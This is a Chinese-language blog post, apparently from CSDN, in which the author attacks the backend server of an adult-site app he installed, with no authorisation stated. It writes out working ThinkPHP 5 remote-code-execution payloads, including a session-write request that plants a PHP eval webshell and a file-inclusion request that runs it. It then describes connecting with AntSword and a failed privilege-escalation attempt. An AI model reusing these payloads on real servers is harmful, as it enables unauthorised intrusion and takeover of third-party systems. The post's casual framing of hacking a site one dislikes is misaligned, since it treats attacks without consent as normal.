更新时间:2022.07.05
2022年11月21日21:50:12
![image.png](https://img-blog.csdnimg.cn/img_convert/eb1f0954267269cfce6a0439e74cb4e9.png)
1. 说明
在上半年的时候,在线浏览网页的时候,突然跳转到了一个sese的界面,然后要下载app,本着弹出即下载的原则,我就欣然安装了:
app本身长这样:
![image.png](https://img-blog.csdnimg.cn/img_convert/d18f8167d6e8bd0d18e99638d2cde7db.png)
打开之后是这样的:
![image.png](https://img-blog.csdnimg.cn/img_convert/bb14e67177831bf049c2a56e39112311.png)
看来渗透测试必不可少了。
2. getshell
经过抓包分析,该app
的后台地址为:http://www.xxx.com/
,对该站点进行分析发现,该站为thinkphp
搭建,那还说什么,直接一把梭:
![image.png](https://img-blog.csdnimg.cn/img_convert/8e8e0ceb819ea70062707afbbc20ec20.png)
直接就拿到了shell
,在连接的时候,发现连接报错:
![image.png](https://img-blog.csdnimg.cn/img_convert/c1f5ab1ef0cc4b5cdc0b9cd027176319.png)
那在浏览器里直接连接看看:
![image.png](https://img-blog.csdnimg.cn/img_convert/14ee13c0bf82a5f84414379503c5b345.png)
应该是出了问题,还是手工测试吧:
http://www.xxxx.com/?s=index
post
_method=__construct&method=get&filter[]=phpinfo&get[]=-1
![image.png](https://img-blog.csdnimg.cn/img_convert/d7dad89595e0d8d20d67fe3036b19ec3.png)
此时发现禁用了非常多的函数:
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
试试session
包含的写shell
,教程:
https://xz.aliyun.com/t/10397
https://xz.aliyun.com/t/10397
先通过session
包含写入一句话木马
http://www.xxxx.com/?s=captcha
POST:_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1
然后利用文件包含去包含session
文件,tp5
的session
文件一般都是在/tmp
下面,文件名为sess_sessionid
:
![image.png](https://img-blog.csdnimg.cn/img_convert/820fdda9e6db69d1509ce57c5bc5bfc6.png)
然后接下来的payload
为
http://www.xxxx.com/?s=captcha
POST:_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_eg9xxxxxxxxgsirl&c=phpinfo();
![image.png](https://img-blog.csdnimg.cn/img_convert/90365f470f78ba10a0448ed341152112.png)
看到这个就算是成功了,蚁剑连接记得加上body:
![image.png](https://img-blog.csdnimg.cn/img_convert/7277460d73dbd7ac9d444c5031b27780.png)
![image.png](https://img-blog.csdnimg.cn/img_convert/357608b9a6c7072120b745efad355b3e.png)
此时shell
连接成功:
![image.png](https://img-blog.csdnimg.cn/img_convert/63a70916619a523c0275adbbbd04c9a5.png)
连接成功,发现是www权限,但是提权的时候失败。。
后面就不再进行其他的操作了。
![image.png](https://img-blog.csdnimg.cn/img_convert/2dea7c8421f0b4fc617745090d7209f4.png)